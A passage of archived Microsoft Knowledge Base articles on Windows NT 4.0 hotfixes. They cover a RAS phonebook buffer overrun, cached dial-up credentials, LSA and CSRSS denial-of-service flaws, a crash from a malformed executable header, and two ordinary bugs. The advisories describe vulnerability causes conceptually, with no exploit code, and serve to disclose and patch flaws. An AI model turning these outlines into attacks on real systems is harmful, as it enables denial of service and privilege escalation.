 - Microsoft Windows NT Workstation versions 4.0, 4.0 SP1, 4.0 SP2, 4.0 SP3, 4.0 SP4
 - Microsoft Windows NT Server versions 4.0, 4.0 SP1, 4.0 SP2, 4.0 SP3, 4.0 SP4
 - Microsoft Windows NT Server, Enterprise Edition versions 4.0, 4.0 SP4
-------------------------------------------------------------------------------

SYMPTOMS
========

A specially malformed phonebook entry may be used to exploit a security
vulnerability on a computer that has the Microsoft Remote Access Service (RAS)
client software installed. A user with the proper permissions can abuse this
vulnerability to run a program and cause a denial of service attack or privilege
escalation attack on the RAS client computer.

CAUSE
=====

The RAS client component that processes phonebook entries has an unchecked
buffer. As a result, a uniquely formed RAS phonebook entry can execute a program
via a buffer overrun situation on the RAS client computer. Since the RAS client
runs in the security context of the local computer, the rogue program also runs
in this context. Because of the nature of this exploit, this issue cannot occur
accidentally.

RESOLUTION
==========

A supported fix that corrects this problem is now available from Microsoft, but
it has not been fully regression tested and should be applied only to systems
experiencing this specific problem. If you are not severely affected by this
specific problem, Microsoft recommends that you wait for the next Windows NT 4.0
service pack that contains this fix.

To resolve this problem immediately, contact Microsoft Product Support Services
to obtain the fix. For a complete list of Microsoft Product Support Services
phone numbers and information on support costs, please go to the following
address on the World Wide Web:

   http://support.microsoft.com/support/supportnet/default.asp

The English version of this fix should have the following file attributes or
later:

   Date       Time     Size     File name      Platform
   -------------------------------------------------------------
   04/28/99   05:58p   12,560   Rasfil32.dll   (x86)
   04/28/99   05:53p   20,752   Rasfil32.dll   (Alpha)

This hotfix has been posted to the following Internet location as Rasffixi.exe
(x86) and Rasffixa.exe (Alpha):

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP5/RAS-fix/

NOTE: If this product was already installed on your computer when you purchased
it from the Original Equipment Manufacturer (OEM) and you need this fix, please
call the Pay Per Incident number listed on the above Web site. If you contact
Microsoft to obtain this fix, and if it is determined that you only require the
fix you requested, no fee will be charged. However, if you request additional
technical support, and if your no-charge technical support period has expired,
or if you are not eligible for standard no-charge technical support, you may be
charged a non-refundable fee.

For more information about eligibility for no-charge technical support, see the
following article in the Microsoft Knowledge Base:

   Q154871 Determining If You Are Eligible for No-Charge Technical Support

STATUS
======

Microsoft has confirmed this to be a problem in the Microsoft products listed at
the beginning of this article.

MORE INFORMATION
================

It is important to note that the vulnerability only affects computers running
the RAS client software, not RAS servers, and that the user must have permission
to add or modify phonebook entries in order to initiate the attack. Permissions
can be set via the phonebook?s access control list (ACL). The computers
primarily at risk from this vulnerability are workstations that are configured
to dial out to other computers, as servers, including Microsoft Windows NT 4.0,
Terminal Server Edition, are not typically configured to act as RAS clients.
This vulnerability affects only the local computer; this vulnerability does not
allow a user to directly attack a remote computer.

For additional security related information about Microsoft products, please
visit the following Microsoft Web site:

   http://www.microsoft.com/security/

Additional query words:
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q230681
TITLE   :DUN Credentials Cached When Save Password Not Selected with RAS
PRODUCT :Windows NT
PROD/VER:4.0
OPER/SYS:WINDOWS NT
KEYWORD :kbbug4.00 kbfix4.00

-------------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Workstation versions 4.0, 4.0 SP1, 4.0 SP2, 4.0 SP3, 4.0 SP4, 4.0 SP5
 - Microsoft Windows NT Server versions 4.0, 4.0 SP1, 4.0 SP2, 4.0 SP3, 4.0 SP4, 4.0 SP5
 - Microsoft Windows NT Server, Enterprise Edition versions 4.0, 4.0 SP4, 4.0 SP5
-------------------------------------------------------------------------------

SYMPTOMS
========

When you use the Dial-Up Networking client software for Microsoft RAS to connect
to a server, a dialogue box requests the user's User ID and password for the
server. In the same dialogue box is the Save Password check box, which is
intended to provide the user with the option to cache their security credentials
if desired. However, the implemented client functionality actually caches the
user's credentials regardless of whether the check box is selected or not.

RESOLUTION
==========

A supported fix that corrects this problem is now available from Microsoft, but
has not been fully regression tested and should be applied only to systems
determined to be at risk of attack. Please evaluate your system's physical
accessibility, network and Internet connectivity, and other factors to determine
the degree of risk to your system. If your system is sufficiently at risk,
Microsoft recommends you apply this fix. Otherwise, wait for the next Windows NT
4.0 service pack that contains this fix.

To resolve this problem immediately, contact Microsoft Product Support Services
to obtain the fix. For a complete list of Microsoft Product Support Services
phone numbers and information on support costs, please go to the following
address on the World Wide Web:

   http://support.microsoft.com/support/supportnet/default.asp

The English version of this fix should have the following file attributes or
later:

   Date      Time      Size      File name      Platform
   -----------------------------------------------------
   05/06/99  04:38p    127,248   Rasapi32.dll   x86
   04/28/99  05:58p    346,896   Rasdlg.dll     x86

   05/06/99  04:37p   198,416    Rasapi32.dll   Alpha
   04/28/99  05:46p   510,224    Rasdlg.dll     Alpha

This hotfix has been posted to the following Internet location as Pwdfixi.exe
(x86) and Pwdfixa.exe (Alpha):

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/
   Hotfixes-PostSP5/RASPassword-fix/

NOTE: If this product was already installed on your computer when you purchased
it from the Original Equipment Manufacturer (OEM) and you need this fix, please
call the Pay Per Incident number listed on the above Web site. If you contact
Microsoft to obtain this fix, and if it is determined that you only require the
fix you requested, no fee will be charged. However, if you request additional
technical support, and if your no-charge technical support period has expired,
or if you are not eligible for standard no-charge technical support, you may be
charged a non-refundable fee.

For more information about eligibility for no-charge technical support, see the
following article in the Microsoft Knowledge Base:

   Q154871 Determining If You Are Eligible for No-Charge Technical Support

STATUS
======

Microsoft has confirmed this problem could result in some degree of security
vulnerability in Windows NT 4.0.

MORE INFORMATION
================

For information on this problem using Microsoft Routing and Remote Access Server
(RRAS) as a Dial-Up Networking client, please see the following article in the
Microsoft Knowledge Base:

   Q233303 DUN Credentials Cached When Save Password Not Selected with RRAS

Cached security credentials, including passwords, are stored and encrypted in the
registry and protected by an access control list (ACL). RAS uses Local Security
Authority (LSA) Secrets to store the entries. The default ACL values only allow
administrators and the user associated with the credentials to gain access to
these registry entries.

Additional encryption for LSA Secrets is available to provide protection for this
information when stored on backup tapes, the Emergency Repair Disk, or other
registry backups using the System Key option. For information on System Key
(Syskey.exe) functionality, please refer to the following article in the
Microsoft Knowledge Base:

   Q143475 Windows NT System Key Permits Strong Encryption of the SAM

For additional security-related information about Microsoft products, please
visit the following Microsoft Web site:

   http://www.microsoft.com/security/

Additional query words:
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q231337
TITLE   :NETDDE.EXE Fails to Relay WM_DDE_TERMINATE to Remote Clients
PRODUCT :Windows NT
PROD/VER:4.0
OPER/SYS:WINDOWS NT
KEYWORD :kbbug4.00 kbfix4.00

-------------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Server version 4.0 SP4
 - Microsoft Windows NT Workstation version 4.0 SP4
 - Microsoft Windows NT Server, Enterprise Edition version 4.0 SP4
-------------------------------------------------------------------------------

SYMPTOMS
========

When a remote client in a DDE conversation with a server running on Windows NT
4.0 Service Pack 4 sends WM_DDE_TERMINATE to the server, Netdde.exe fails to
relay the server's WM_DDE_TERMINATE response back to the remote client.

In addition to causing the client to never receive WM_DDE_TERMINATE, this also
has the undesirable effect of leaving child windows orphaned.

RESOLUTION
==========

A supported fix that corrects this problem is now available from Microsoft, but
it has not been fully regression tested and should be applied only to systems
experiencing this specific problem. If you are not severely affected by this
specific problem, Microsoft recommends that you wait for the next Windows NT 4.0
service pack that contains this fix.

To resolve this problem immediately, contact Microsoft Product Support Services
to obtain the fix. For a complete list of Microsoft Product Support Services
phone numbers and information on support costs, please go to the following
address on the World Wide Web:

   http://support.microsoft.com/support/supportnet/default.asp

The English version of this fix should have the following file attributes or
later:

   Date      Time                 Size    File name     Platform
   -------------------------------------------------------------
   05/05/99    8:47 PM          118,784   Netdde.exe    (x86)
   05/05/99    8:45 PM          196,608   Netdde.exe    (Alpha)

This hotfix has been posted to the following Internet location as Nddefixi.exe
(x86) and Nddefixa.exe (Alpha):

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/
   Hotfixes-PostSP5/NetDDE-fix/

NOTE: If this product was already installed on your computer when you purchased
it from the Original Equipment Manufacturer (OEM) and you need this fix, please
call the Pay Per Incident number listed on the above Web site. If you contact
Microsoft to obtain this fix, and if it is determined that you only require the
fix you requested, no fee will be charged. However, if you request additional
technical support, and if your no-charge technical support period has expired,
or if you are not eligible for standard no-charge technical support, you may be
charged a non-refundable fee.

For more information about eligibility for no-charge technical support, see the
following article in the Microsoft Knowledge Base:

   Q154871 Determining If You Are Eligible for No-Charge Technical Support

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT 4.0 Service Pack 4.

Additional query words: 4.00 sp4
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q231457
TITLE   :Malformed Request Causes LSA Service to Hang
PRODUCT :Windows NT
PROD/VER:4.0
OPER/SYS:WINDOWS NT
KEYWORD :kbbug4.00 kbfix4.00

-------------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Workstation versions 4.0, 4.0 SP1, 4.0 SP2, 4.0 SP3, 4.0 SP4
 - Microsoft Windows NT Server versions 4.0, 4.0 SP1, 4.0 SP2, 4.0 SP3, 4.0 SP4
 - Microsoft Windows NT Server, Enterprise Edition versions 4.0, 4.0 SP4
-------------------------------------------------------------------------------

SYMPTOMS
========

A specially malformed request to the Microsoft Local Security Authority (LSA)
service may be used to exploit a security vulnerability on a Windows NT-based
computer. A user can abuse this vulnerability to run a program and cause a
denial of service attack that may cause the LSA service to stop responding
(hang) and require you to restart the computer.

CAUSE
=====

Windows NT provides the ability to manage user privileges programmatically via
the Local Security Authority (LSA) application programming interface (API). This
API allows a program to query user names, modify privileges, and change other
elements of the security policy, subject to the program's authorizations.
Certain API methods have unchecked buffers. If a call is made using a specially
malformed argument, the LSA service may stop responding (hang). The
vulnerability is a denial of service threat only, and the LSA service can be
restored by rebooting the machine. This vulnerability cannot be used by
unauthorized program to query or modify user information or privileges.

RESOLUTION
==========

A supported fix that corrects this problem is now available from Microsoft, but
it has not been fully regression tested and should be applied only to systems
experiencing this specific problem. If you are not severely affected by this
specific problem, Microsoft recommends that you wait for the next Windows NT 4.0
service pack that contains this fix.

To resolve this problem immediately, contact Microsoft Product Support Services
to obtain the fix. For a complete list of Microsoft Product Support Services
phone numbers and information on support costs, please go to the following
address on the World Wide Web:

   http://support.microsoft.com/support/supportnet/default.asp

The English version of this fix should have the following file attributes or
later:

   Date       Time     Size      File name    Platform
   -------------------------------------------------------------
   04/28/99   07:41p   154,896   Lsasrv.dll   x86
   05/04/99   07:56p    10,000   Lsass.exe    x86

   04/27/99   07:38p   253,200   Lsasrv.dll   Alpha
   05/04/99   07:54p    16,144   Lsass.exe    Alpha

NOTE: This fix can be installed on Windows NT 4.0 Service Pack 4 and Service
Pack 5.

This hotfix has been posted to the following Internet location as Lsareqi.exe
(x86) and Lsareqa.exe (Alpha):

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP5/LSA3-fix/

NOTE: If this product was already installed on your computer when you purchased
it from the Original Equipment Manufacturer (OEM) and you need this fix, please
call the Pay Per Incident number listed on the above Web site. If you contact
Microsoft to obtain this fix, and if it is determined that you only require the
fix you requested, no fee will be charged. However, if you request additional
technical support, and if your no-charge technical support period has expired,
or if you are not eligible for standard no-charge technical support, you may be
charged a non-refundable fee.

For more information about eligibility for no-charge technical support, see the
following article in the Microsoft Knowledge Base:

   Q154871 Determining If You Are Eligible for No-Charge Technical Support

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT 4.0.

MORE INFORMATION
================

For additional security related information about Microsoft products, please
visit the Web site at:

   http://www.microsoft.com/security/

Additional query words:
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q233303
TITLE   :DUN Credentials Cached When Save Password Not Selected with RRAS
PRODUCT :Windows NT
PROD/VER:4.0
OPER/SYS:WINDOWS NT
KEYWORD :kbbug4.00 kbfix4.00

-------------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Server versions 4.0, 4.0 SP1, 4.0 SP2, 4.0 SP3, 4.0 SP4
 - Microsoft Windows NT Server, Enterprise Edition versions 4.0, 4.0 SP4
-------------------------------------------------------------------------------

SYMPTOMS
========

When you have Routing and Remote Access Service for Windows NT 4.0 installed on
your computer and you are using the Dial-Up Networking client software to
connect to a server, a dialogue box requests the user's User ID and password for
the server. In the same dialogue box is the Save Password check box, which is
intended to provide the user with the option to cache their security credentials
if desired. However, the implemented client functionality actually caches the
user's credentials regardless of whether the check box is selected or not.

RESOLUTION
==========

A supported fix that corrects this problem is now available from Microsoft, but
has not been fully regression tested and should be applied only to systems
determined to be at risk of attack. Please evaluate your system's physical
accessibility, network and Internet connectivity, and other factors to determine
the degree of risk to your system. If your system is sufficiently at risk,
Microsoft recommends you apply this fix. Otherwise, wait for the next Windows NT
4.0 service pack that contains this fix.

To resolve this problem immediately, contact Microsoft Product Support Services
to obtain the fix. For a complete list of Microsoft Product Support Services
phone numbers and information on support costs, please go to the following
address on the World Wide Web:

   http://support.microsoft.com/support/supportnet/default.asp

The English version of this fix should have the following file attributes or
later:

   Date      Time      Size      File name      Platform
   ------------------------------------------------------
   05/25/99  03:44p    131,344   Rasapi32.dll   x86
   05/25/99  03:46p    396,048   Rasdlg.dll     x86

   05/25/99  03:42p    203,024   Rasapi32.dll   Alpha
   05/25/99  03:44p    577,808   Rasdlg.dll     Alpha

This hotfix has been posted to the following Internet location as Rpwdfixi.exe
(x86) and Rpwdfixa.exe (Alpha):

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/
   Hotfixes-PostSP5/RRASPassword-fix/

NOTE: If this product was already installed on your computer when you purchased
it from the Original Equipment Manufacturer (OEM) and you need this fix, please
call the Pay Per Incident number listed on the above Web site. If you contact
Microsoft to obtain this fix, and if it is determined that you only require the
fix you requested, no fee will be charged. However, if you request additional
technical support, and if your no-charge technical support period has expired,
or if you are not eligible for standard no-charge technical support, you may be
charged a non-refundable fee.

For more information about eligibility for no-charge technical support, see the
following article in the Microsoft Knowledge Base:

   Q154871 Determining If You Are Eligible for No-Charge Technical Support

STATUS
======

Microsoft has confirmed this problem could result in some degree of security
vulnerability in Windows NT 4.0.

MORE INFORMATION
================

For information on this problem in the Microsoft Remote Access Service (RAS)
client, please see the following article in the Microsoft Knowledge Base:

   Q230681 RAS Credentials Cached when "Save Password" Option Cleared

Cached security credentials, including passwords, are stored and encrypted in the
registry and protected by an access control list (ACL). RAS uses Local Security
Authority (LSA) Secrets to store the entries. The default ACL values only allows
administrators and the user associated with the credentials to access these
registry entries.

Additional encryption for LSA Secrets is available to provide protection for this
information when stored on backup tapes, the Emergency Repair Disk, or other
registry backups using the System Key option. For information on System Key
(Syskey.exe) functionality, please refer to the following article in the
Microsoft Knowledge Base:

   Q143475 Windows NT System Key Permits Strong Encryption of the SAM

For additional security-related information about Microsoft products, please
visit the following Microsoft Web site:

   http://www.microsoft.com/security/

Additional query words:
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q233323
TITLE   :Exceeding MaxRequestThreads May Cause Windows NT to Hang
PRODUCT :Windows NT
PROD/VER:4.0
OPER/SYS:WINDOWS NT
KEYWORD :kbbug4.00 kbfix4.00

-------------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Workstation version 4.0
 - Microsoft Windows NT Server version 4.0
 - Microsoft Windows NT Server, Enterprise Edition version 4.0
-------------------------------------------------------------------------------

SYMPTOMS
========

On a computer running Windows NT, a denial of service condition exists if a
malicious process is run locally or if an improperly written service is
installed. If more than the maximum number (16 by default) of processes that
require user input are started without receiving the corresponding input, the
server may stop responding (hang).

CAUSE
=====

This vulnerability affects Client Server Runtime Subsystem (CSRSS), which is
otherwise known as the Win32 subsystem. CSRSS provides Windows NT services to
client processes running on the local computer. When a client process requests a
Win32 service, CSRSS generates a worker thread to service the request. If all
worker threads are occupied, the request is queued until a thread completes its
work and becomes available.

The underlying vulnerability in this issue is how the CSRSS service in Windows NT
handles requests that require user input. A worker thread that needs user input
remains occupied until it receives input. If all worker threads in CSRSS are
servicing requests that require user input, all threads are occupied but idle
until they receive the required input, effectively causing the computer to hang
until the user input is provided. After the user input is received, processing
returns to normal.

The patch listed below eliminates this vulnerability by ensuring that the last
available worker thread is never used to process a request that requires user
input.

RESOLUTION
==========

A supported fix that corrects this problem is now available from Microsoft, but
it has not been fully regression tested and should be applied only to systems
experiencing this specific problem. If you are not severely affected by this
specific problem, Microsoft recommends that you wait for the next Windows NT 4.0
service pack that contains this fix.

To resolve this problem immediately, contact Microsoft Product Support Services
to obtain the fix. For a complete list of Microsoft Product Support Services
phone numbers and information on support costs, please go to the following
address on the World Wide Web:

   http://support.microsoft.com/support/supportnet/default.asp

The English version of this fix should have the following file attributes or
later:

   Date       Time     Size     File name    Platform
   ---------------------------------------------------
   05/24/99   07:34p   29,968   Csrsrv.dll   x86
   05/24/99   07:33p   49,424   Csrsrv.dll   Alpha

This hotfix has been posted to the following Internet location as Csrssfxi.exe
(x86) and Csrssfxa.exe (Alpha):

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP5/Csrss-fix/

NOTE: If this product was already installed on your computer when you purchased
it from the Original Equipment Manufacturer (OEM) and you need this fix, please
call the Pay Per Incident number listed on the above Web site. If you contact
Microsoft to obtain this fix, and if it is determined that you only require the
fix you requested, no fee will be charged. However, if you request additional
technical support, and if your no-charge technical support period has expired,
or if you are not eligible for standard no-charge technical support, you may be
charged a non-refundable fee.

For more information about eligibility for no-charge technical support, see the
following article in the Microsoft Knowledge Base:

   Q154871 Determining If You Are Eligible for No-Charge Technical Support

STATUS
======

Microsoft has confirmed this to be a problem in the Microsoft products listed at
the beginning of this article.

MORE INFORMATION
================

It is important to understand that CSRSS only services requests made by other
processes on the same local computer, so the computers primarily at risk are
those that allow users to log on interactively with assigned rights to run a
program or remotely install a service. Specifically, servers would be the most
likely targets of such an attack.

Windows NT Workstation may not be affected, because the user can always provide
the information that's requested, and prevent the supply of worker threads from
being exhausted. Windows NT 4.0, Terminal Server Edition, is not affected by
this vulnerability as each user session has its own pool of worker threads and
this issue would only affect individual Terminal Server clients. A Terminal
Server client (like NT Workstation) can clear the requests for user input and
prevent the denial of service condition. The enforcement of recommended security
practices can prevent anyone but administrators from interactively logging on to
servers or installing a service that can cause this problem.

For additional security-related information about Microsoft products, please
visit the following Microsoft Web site:

   http://www.microsoft.com/security/

Additional query words:
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q234351
TITLE   :Memory Leak When Performance Counters Are Not Available
PRODUCT :Windows NT
PROD/VER:4.0
OPER/SYS:WINDOWS NT
KEYWORD :kbbug4.00 kbfix4.00

-------------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Server versions 4.0 SP4, 4.0 SP5
 - Microsoft Windows NT Server, Enterprise Edition versions 4.0 SP4, 4.0 SP5
-------------------------------------------------------------------------------

SYMPTOMS
========

When you use a program that attempts to gain access to a performance counter
that has not been installed, your computer's performance may degrade or the
computer may stop responding (hang) because of a memory leak. For example, if
you use the Microsoft Systems Management Server (SMS) 2.0 Healthmon tool on a
computer that does not have the Microsoft Simple Network Management Protocol
(SNMP) configured, the computer may hang and you may be required to restart your
computer periodically.

CAUSE
=====

This problem occurs because memory is not being deallocated correctly when an
attempt is made to write data to the corresponding performance counter that is
not available. It may be necessary for you to determine which performance
counters your program is attempting to update to ensure their availability.

RESOLUTION
==========

A supported fix that corrects this problem is now available from Microsoft, but
it has not been fully regression tested and should be applied only to systems
experiencing this specific problem. If you are not severely affected by this
specific problem, Microsoft recommends that you wait for the next Windows NT 4.0
service pack that contains this fix.

To resolve this problem immediately, contact Microsoft Product Support Services
to obtain the fix. For a complete list of Microsoft Product Support Services
phone numbers and information on support costs, please go to the following
address on the World Wide Web:

   http://support.microsoft.com/support/supportnet/default.asp

The English version of this fix should have the following file attributes or
later:

   Date       Time     Size     File name      Platform
   -------------------------------------------------------------
   05/12/99   07:59p   43,792   Perfctrs.dll   x86
   05/12/99   07:57p   60,688   Perfctrs.dll   Alpha

This hotfix has been posted to the following Internet location as Q234351i.exe
(x86) and Q234351a.exe (Alpha):

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP5/Perfctrs-fix/

NOTE: If this product was already installed on your computer when you purchased
it from the Original Equipment Manufacturer (OEM) and you need this fix, please
call the Pay Per Incident number listed on the above Web site. If you contact
Microsoft to obtain this fix, and if it is determined that you only require the
fix you requested, no fee will be charged. However, if you request additional
technical support, and if your no-charge technical support period has expired,
or if you are not eligible for standard no-charge technical support, you may be
charged a non-refundable fee.

For more information about eligibility for no-charge technical support, see the
following article in the Microsoft Knowledge Base:

   Q154871 Determining If You Are Eligible for No-Charge Technical Support

WORKAROUND
==========

To work around this problem, install the SNMP service on your computer. To do
this:

1. Click Start, point to Settings, click Control Panel, and then double-click
   Network.

2. On the Services tab, click Add, and then double-click SNMP Service.

3. When you are prompted, type the full path to the installation files folder
   (for example, D:\I386), click Continue, and then click Close.

4. Reinstall the latest Windows NT 4.0 service pack, and then restart the
   computer.

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT 4.0.

MORE INFORMATION
================

If you are using the Healthmon tool and you have already installed Windows NT
4.0 Service Pack 4 with the SMS hotfix, you may also experience this problem.
For additional information about memory leaks and SNMP, please see the following
article in the Microsoft Knowledge Base:

   Q196270 SNMP Agent Leaks Memory When Queried

Additional query words: 4.00 SMS healthmon
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q234557
TITLE   :Executable with a Specially-Malformed Image Header May Crash Windows NT
PRODUCT :Windows NT
PROD/VER:4.0
OPER/SYS:WINDOWS NT
KEYWORD :kbbug4.00 kbfix4.00

-------------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Workstation versions 4.0, 4.0 SP1, 4.0 SP2, 4.0 SP3, 4.0 SP4
 - Microsoft Windows NT Server versions 4.0, 4.0 SP1, 4.0 SP2, 4.0 SP3, 4.0 SP4
 - Microsoft Windows NT Server, Enterprise Edition versions 4.0, 4.0 SP4
 - Microsoft Windows NT Server version 4.0, Terminal Server Edition
-------------------------------------------------------------------------------

SYMPTOMS
========

If an executable file with a specially-malformed image header is executed, it
will cause a system failure and you may receive the following STOP error message
on a blue screen:

   STOP 0x0000000A IRQ_not_less_or_equal

   or

   STOP 0x00000050 PAGE_FAULT_IN_NON_PAGED_AREA

RESOLUTION
==========

Windows NT
----------

To resolve this problem, obtain the latest service pack for Windows NT 4.0 or the
individual fix. For information on obtaining the latest service pack, please go
to:

 - http://www.microsoft.com/Windows/ServicePacks/

   -or-

 - Q152734 How to Obtain the Latest Windows NT 4.0 Service Pack

For information on obtaining the individual fix, contact Microsoft Product
Support Services. For a complete list of Microsoft Product Support Services
phone numbers and information on support costs, please go to the following
address on the World Wide Web:

   http://www.microsoft.com/support/supportnet/overview/overview.asp

This hotfix has been posted to the following Internet location as Krnlifxi.exe
(x86) and Krnlifxa.exe (Alpha):

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/
